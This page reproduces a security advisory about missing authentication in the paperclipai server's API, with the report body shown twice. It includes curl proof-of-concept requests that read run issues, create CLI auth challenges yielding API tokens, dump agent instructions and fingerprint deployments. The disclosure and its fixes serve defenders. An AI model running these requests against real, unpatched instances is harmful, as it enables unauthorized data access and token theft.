Monitor vulnerabilities like this one.
Sign up free to get alerted when software you use is affected.
8.3
Paperclip: Unauthenticated Access to Multiple API Endpoints in Authenticated Mode
GHSA-xfqj-r5qw-8g4j
Summary
## Summary
Several API endpoints in `authenticated` mode have no authentication at all. They respond to completely unauthenticated requests with sensitive data or allow state-changing operations. No account, no session, no API key needed.
Verified against the latest version.
Discord: sagi03581
#...
What to do
- Update paperclipai server to version 2026.416.0.
Affected software
| Ecosystem | Vendor | Product | Affected versions |
|---|---|---|---|
| npm | paperclipai | server |
< 2026.416.0 Fix: upgrade to 2026.416.0
|
Original title
Paperclip: Unauthenticated Access to Multiple API Endpoints in Authenticated Mode
Original description
## Summary
Several API endpoints in `authenticated` mode have no authentication at all. They respond to completely unauthenticated requests with sensitive data or allow state-changing operations. No account, no session, no API key needed.
Verified against the latest version.
Discord: sagi03581
## Steps to Reproduce
### 1. Unauthenticated issue data access
`GET /api/heartbeat-runs/:runId/issues` returns issue data for a heartbeat run with zero authentication. Every other endpoint in `server/src/routes/activity.ts` calls `assertCompanyAccess`, but this one was missed.
```bash
curl -s http://<target>:3100/api/heartbeat-runs/00000000-0000-0000-0000-000000000001/issues
# -> [] (HTTP 200, not 401 or 403)
```
If an attacker obtains a valid run UUID (from logs, error messages, shared URLs, or by probing), they can read issue data without any credentials.
### 2. Unauthenticated CLI auth challenge creation
`POST /api/cli-auth/challenges` creates a CLI authentication challenge with no actor check at all. The handler at `server/src/routes/access.ts:1638-1659` skips any auth verification.
```bash
curl -s -X POST -H "Content-Type: application/json" \
-d '{"command":"test"}' \
http://<target>:3100/api/cli-auth/challenges
# returns challenge ID, token, and a pre-generated board API key
```
The response includes a `boardApiToken` that becomes active once the challenge is approved. Combined with open registration (separate report), this enables persistent API key generation.
### 3. Unauthenticated agent instruction / system prompt leakage
These endpoints in `server/src/routes/access.ts` require no authentication:
```bash
curl -s http://<target>:3100/api/skills/index
# returns all available skill endpoints
curl -s http://<target>:3100/api/skills/paperclip
# returns the FULL agent heartbeat procedure including:
# - every API endpoint and its parameters
# - authentication mechanism (env var names, header formats)
# - the complete agent coordination protocol
# - the agent creation/hiring workflow
curl -s http://<target>:3100/api/skills/paperclip-create-agent
# returns the full agent creation workflow with adapter configs
```
This hands an attacker a complete map of the internal API without authenticating. It also leaks how agents authenticate, how heartbeats work, and what adapter configurations are available.
### 4. Unauthenticated deployment configuration disclosure
`GET /api/health` returns deployment mode, exposure setting, auth status, bootstrap status, version, and feature flags.
```bash
curl -s http://<target>:3100/api/health
# {
# "deploymentMode": "authenticated",
# "deploymentExposure": "public",
# "authReady": true,
# "bootstrapStatus": "ready",
# "version": "2026.403.0",
# ...
# }
```
Tells an attacker exactly how the instance is configured, whether registration is available, and what version is running.
## Impact
- **Data exposure**: heartbeat run issues accessible without credentials. Agent instructions and full API structure exposed to anyone.
- **Reconnaissance**: an attacker can fingerprint the deployment (mode, version, features) and map the entire internal API before attempting anything else.
- **Auth bypass stepping stone**: unauthenticated CLI challenge creation is a building block for the full RCE chain (reported separately).
## Suggested Fixes
1. **Add authentication to heartbeat run issues** in `server/src/routes/activity.ts`:
- `GET /api/heartbeat-runs/:runId/issues` -- add `assertCompanyAccess` like every other endpoint in the same file
2. **Add authentication to CLI challenge creation** in `server/src/routes/access.ts`:
- `POST /api/cli-auth/challenges` -- add `assertBoard` at minimum
3. **Add authentication to skill endpoints** in `server/src/routes/access.ts`:
- `GET /api/skills/available`
- `GET /api/skills/index`
- `GET /api/skills/:skillName`
4. **Reduce health endpoint information** -- consider removing `deploymentMode`, `deploymentExposure`, and `version` from the unauthenticated response, or gating the full response behind `assertBoard`
5. Consider a **global auth rejection middleware** for all `/api/*` routes in `authenticated` mode. Currently unauthenticated requests get `actor: { type: "none" }` and pass through to `next()`, relying on each route handler to check individually. A missing check means an open endpoint. Rejecting `type: "none"` at the middleware level for all routes except an explicit public allowlist (health, sign-in, sign-up, webhooks) would prevent this class of bug entirely.
## Contact
Discord: sagi03581
Happy to help verify fixes or provide additional details.
Several API endpoints in `authenticated` mode have no authentication at all. They respond to completely unauthenticated requests with sensitive data or allow state-changing operations. No account, no session, no API key needed.
Verified against the latest version.
Discord: sagi03581
## Steps to Reproduce
### 1. Unauthenticated issue data access
`GET /api/heartbeat-runs/:runId/issues` returns issue data for a heartbeat run with zero authentication. Every other endpoint in `server/src/routes/activity.ts` calls `assertCompanyAccess`, but this one was missed.
```bash
curl -s http://<target>:3100/api/heartbeat-runs/00000000-0000-0000-0000-000000000001/issues
# -> [] (HTTP 200, not 401 or 403)
```
If an attacker obtains a valid run UUID (from logs, error messages, shared URLs, or by probing), they can read issue data without any credentials.
### 2. Unauthenticated CLI auth challenge creation
`POST /api/cli-auth/challenges` creates a CLI authentication challenge with no actor check at all. The handler at `server/src/routes/access.ts:1638-1659` skips any auth verification.
```bash
curl -s -X POST -H "Content-Type: application/json" \
-d '{"command":"test"}' \
http://<target>:3100/api/cli-auth/challenges
# returns challenge ID, token, and a pre-generated board API key
```
The response includes a `boardApiToken` that becomes active once the challenge is approved. Combined with open registration (separate report), this enables persistent API key generation.
### 3. Unauthenticated agent instruction / system prompt leakage
These endpoints in `server/src/routes/access.ts` require no authentication:
```bash
curl -s http://<target>:3100/api/skills/index
# returns all available skill endpoints
curl -s http://<target>:3100/api/skills/paperclip
# returns the FULL agent heartbeat procedure including:
# - every API endpoint and its parameters
# - authentication mechanism (env var names, header formats)
# - the complete agent coordination protocol
# - the agent creation/hiring workflow
curl -s http://<target>:3100/api/skills/paperclip-create-agent
# returns the full agent creation workflow with adapter configs
```
This hands an attacker a complete map of the internal API without authenticating. It also leaks how agents authenticate, how heartbeats work, and what adapter configurations are available.
### 4. Unauthenticated deployment configuration disclosure
`GET /api/health` returns deployment mode, exposure setting, auth status, bootstrap status, version, and feature flags.
```bash
curl -s http://<target>:3100/api/health
# {
# "deploymentMode": "authenticated",
# "deploymentExposure": "public",
# "authReady": true,
# "bootstrapStatus": "ready",
# "version": "2026.403.0",
# ...
# }
```
Tells an attacker exactly how the instance is configured, whether registration is available, and what version is running.
## Impact
- **Data exposure**: heartbeat run issues accessible without credentials. Agent instructions and full API structure exposed to anyone.
- **Reconnaissance**: an attacker can fingerprint the deployment (mode, version, features) and map the entire internal API before attempting anything else.
- **Auth bypass stepping stone**: unauthenticated CLI challenge creation is a building block for the full RCE chain (reported separately).
## Suggested Fixes
1. **Add authentication to heartbeat run issues** in `server/src/routes/activity.ts`:
- `GET /api/heartbeat-runs/:runId/issues` -- add `assertCompanyAccess` like every other endpoint in the same file
2. **Add authentication to CLI challenge creation** in `server/src/routes/access.ts`:
- `POST /api/cli-auth/challenges` -- add `assertBoard` at minimum
3. **Add authentication to skill endpoints** in `server/src/routes/access.ts`:
- `GET /api/skills/available`
- `GET /api/skills/index`
- `GET /api/skills/:skillName`
4. **Reduce health endpoint information** -- consider removing `deploymentMode`, `deploymentExposure`, and `version` from the unauthenticated response, or gating the full response behind `assertBoard`
5. Consider a **global auth rejection middleware** for all `/api/*` routes in `authenticated` mode. Currently unauthenticated requests get `actor: { type: "none" }` and pass through to `next()`, relying on each route handler to check individually. A missing check means an open endpoint. Rejecting `type: "none"` at the middleware level for all routes except an explicit public allowlist (health, sign-in, sign-up, webhooks) would prevent this class of bug entirely.
## Contact
Discord: sagi03581
Happy to help verify fixes or provide additional details.
ghsa CVSS3.1
8.3
Vulnerability type
CWE-306
Missing Authentication for Critical Function
Published: 16 Apr 2026 · Updated: 16 Apr 2026 · First seen: 16 Apr 2026